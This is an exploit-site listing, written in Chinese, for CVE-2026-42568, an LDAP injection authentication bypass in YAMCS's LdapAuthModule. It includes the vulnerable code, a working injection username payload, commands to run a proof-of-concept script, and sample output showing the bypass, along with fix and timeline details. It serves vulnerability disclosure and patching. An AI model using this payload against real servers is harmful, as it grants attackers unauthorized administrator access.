Sploitus

Exploit for CVE-2026-42568

kitploit · 2026-09-02

Exploit Code

MARKDOWN86 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EX-CAL1BUR-CVE-2026-42568
# CVE-2026-42568 — YAMCS LDAP 注入漏洞(LdapAuthModule)

## 摘要

`org.yamcs.security.LdapAuthModule` 中存在 LDAP 注入漏洞。用户名参数未经 RFC 4515 转义直接拼接到 LDAP 搜索过滤器中,可导致认证绕过。

字段| 值  
---|---  
**CVE**|  CVE-2026-42568  
**严重性**|  中危  
**CWE**|  CWE-90:LDAP 查询中特殊元素未正确中和  
**影响版本**|  yamcs-core < 5.12.7(配置了 LDAP 认证)  
**修复版本**|  yamcs-core 5.12.7  
**公告**| GHSA-cqh3-jg8p-336j  
  
## 漏洞详情

**根本原因(`LdapAuthModule.java`):**

root@kitploit:~
    
    
    var filter = userFilter.replace("{0}", username);
    // username inserted directly — no RFC 4515 escaping
    

使用典型的 `userFilter` 为 `(uid={0})` 时,恶意用户名可破坏过滤器结构:

root@kitploit:~
    
    
    Input:  *)(uid=*))(|(uid=*
    Filter: (uid=*)(uid=*))(|(uid=*)
    Result: Universal match — authentication bypassed
    

## 概念验证

root@kitploit:~
    
    
    pip install requests
    python3 poc.py http://localhost:8090
    

在存在漏洞的实例(已配置 LDAP)上的预期输出:

root@kitploit:~
    
    
    [1] Universal bypass (any account)
         Username: *)(uid=*))(|(uid=*
         Password: anything
         Result:   HTTP 200
         [!!!] AUTHENTICATION BYPASSED
         [!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
    

> **注意:** 此漏洞仅影响配置了 `LdapAuthModule` 的 YAMCS 实例。使用内置认证的默认安装不受影响。

## 影响

未认证的攻击者只要能访问 YAMCS 服务器,且该服务器配置了 LDAP 认证,即可完全绕过认证,以任意用户(包括管理员)身份获得访问权限。

## 修复

升级至 `yamcs-core >= 5.12.7`。

修复方案在构造 LDAP 过滤器之前对用户名应用 RFC 4515 转义。

## 时间线

日期| 事件  
---|---  
2026年5月| 漏洞被报告  
2026年5月26日| 修复版本 yamcs-core 5.12.7 发布  
2026年5月26日| 公开公告发布  
  
## 研究人员

**Daniel Miranda Barcelona(Excal1bur)**

  * GitHub:https://github.com/ex-cal1bur
  * LinkedIn:https://linkedin.com/in/daniel-miranda-barcelona
  * 博客:https://thedumpster.es